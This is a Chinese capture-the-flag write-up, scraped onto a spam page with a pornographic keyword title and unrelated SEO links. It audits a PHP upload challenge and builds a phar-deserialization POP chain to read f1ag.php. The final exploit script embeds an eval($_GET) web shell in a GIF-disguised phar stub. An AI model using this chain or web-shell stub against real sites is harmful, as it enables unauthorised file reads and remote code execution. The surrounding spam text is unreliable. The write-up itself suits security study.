中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

石家莊網(wǎng)站制作倉谷在線培訓(xùn)

石家莊網(wǎng)站制作倉谷,在線培訓(xùn),軟件批發(fā)商城,光明新區(qū)做網(wǎng)站打開環(huán)境 有查看文件跟上傳文件,查看文件里面顯示沒有文件url貌似可以文件讀取 上傳文件里面可以上傳文件。 先看一下可不可以文件讀取 /etc/passwd不能讀取,源碼提示flag在f1ag.php 看看能不能讀取當(dāng)前的文件, 先把代碼摘下來 file.php …

打開環(huán)境

有查看文件跟上傳文件,查看文件里面顯示沒有文件url貌似可以文件讀取

上傳文件里面可以上傳文件。

先看一下可不可以文件讀取

/etc/passwd不能讀取,源碼提示flag在f1ag.php

看看能不能讀取當(dāng)前的文件,

????????

先把代碼摘下來

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { $show->source = $file; $show->_show(); 
} else if (!empty($file)){ die('file doesn\'t exists.'); 
} 
?> 

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上傳</title> 
</head> 
<body> 
<div align = "center"> <h1>前端寫得很low,請(qǐng)各位師傅見諒!</h1> 
</div> 
<style> p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> 
</div> </script> 
</body> 
</html>

funcion.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上傳成功!");</script>'; 
} 
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } 
} 
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>請(qǐng)選擇上傳的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } 
} 
?> 

class.php

 <?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file;   //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?> 

審計(jì)一下

由于設(shè)置了ini_set('open_basedir','/var/www/html/');?

所以只能讀取/var/www/html目錄

看一下function.php

只能上傳后綴為gif.jpeg,jpg,png

好像繞不過去

看一下class.php

有file_get_contents()是不是可以通過構(gòu)造pop鏈,實(shí)現(xiàn)讀取f1ag.php呢

這里暗示用phar反序列化

正好file.ph里面有個(gè)file_exists()函數(shù)可以出發(fā)phar反序列化

分析一下鏈

file_get函數(shù)由get觸發(fā),get由__get觸發(fā),當(dāng)指向類中不存在的變量時(shí)候可以出發(fā)__get魔法函數(shù)

看一下參數(shù),$value由params[$key]得到,$key由出發(fā)__get函數(shù)時(shí)傳入,可以控制params和key使得$value=f1ag.php

看一下如何出發(fā)__get

在Show里面

如果令str['str']=new Test()就會(huì)出發(fā)Test里面的__get

然后看如何出發(fā)_toString

C1e4r里面的echo正好可以出發(fā)toString

腳本如下

<?php
class C1e4r{public $test;public $str;
}class Show
{public $source;public $str;
}class Test
{public $file;public $params;
}$a = new Test();
$a->params['source'] ='/var/www/html/f1ag.php';$b = new Show();
$b->str['str']=$a;$c = new C1e4r();
$c->str = $b;@unlink("phar.phar");
$phar = new Phar('phar.phar'); //后綴名必須為phar
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php echo 1;eval($_GET["Smi1e"]);?>'.'<?php __HALT_COMPILER();?>');
$phar -> setMetadata($c); //將自定義的meta-data存入manifest
$phar -> addFromString('test.txt','test');//添加要壓縮的文件
$phar -> stopBuffering();   //簽名自動(dòng)計(jì)算

生成的exp.phar改成.jpg結(jié)尾之后上傳

然后訪問file=phar://upload/文件名即可拿到flag

md,我這里phar.readonly明明改成Off還是生成不了phar文件,無語死了。

http://m.risenshineclean.com/news/61784.html

相關(guān)文章:

  • aspnet動(dòng)態(tài)網(wǎng)站開發(fā)題目建網(wǎng)站有哪些步驟
  • 西寧網(wǎng)站seo外包360指數(shù)查詢
  • 網(wǎng)絡(luò)公司做的網(wǎng)站我能改后臺(tái)么免費(fèi)做網(wǎng)站怎么做網(wǎng)站嗎
  • 淘寶網(wǎng)站框架seo發(fā)帖工具
  • 知名網(wǎng)站有哪些?百度推廣技巧
  • 清遠(yuǎn)新聞最新長沙seo計(jì)費(fèi)管理
  • 網(wǎng)站建設(shè)注意什么小程序推廣平臺(tái)
  • 建設(shè)網(wǎng)站寶安區(qū)短視頻營銷推廣方案
  • 做百度微信小程序都有哪些網(wǎng)站百度上做推廣怎么收費(fèi)
  • 做網(wǎng)站服務(wù)器需要系統(tǒng)全國新冠疫情最新消息
  • 小網(wǎng)站如何做密碼找回福州seo網(wǎng)絡(luò)推廣
  • 下載網(wǎng)站源碼拼多多運(yùn)營
  • 購物網(wǎng)站app制作aso優(yōu)化什么意思
  • 系統(tǒng)開發(fā)包括什么seo百度推廣
  • 模板網(wǎng)站可以自己買空間嗎嗎百度一下全知道
  • 網(wǎng)站欄目頁如何做網(wǎng)絡(luò)推廣平臺(tái)公司
  • 做網(wǎng)站平面模板是啥意思互動(dòng)營銷案例分析
  • php網(wǎng)站開發(fā)實(shí)例教程簡介關(guān)鍵詞優(yōu)化怎么優(yōu)化
  • 在線安卓軟件開發(fā)優(yōu)化大師官網(wǎng)下載
  • 做優(yōu)化很好的網(wǎng)站常德政府網(wǎng)站市民留言
  • 深圳做網(wǎng)站的給說各種網(wǎng)站
  • 寧波網(wǎng)站優(yōu)化軟件網(wǎng)絡(luò)推廣seo怎么做
  • 網(wǎng)站程序是如何開發(fā)的百度搜索引擎優(yōu)化
  • 做的網(wǎng)站怎樣更新百度競價(jià)點(diǎn)擊一次多少錢
  • 福建設(shè)備公司網(wǎng)站百度24小時(shí)人工電話
  • 網(wǎng)站軟文偽原創(chuàng)企業(yè)營銷策略有哪些
  • 東莞網(wǎng)上商城網(wǎng)站建設(shè)南京seo公司
  • 河南省建設(shè)人才信息網(wǎng)官網(wǎng)自助優(yōu)化排名工具
  • 編程軟件自學(xué)網(wǎng)百度關(guān)鍵詞自然排名優(yōu)化公司
  • 東莞網(wǎng)站建設(shè)是什么意思西安seo培訓(xùn)學(xué)校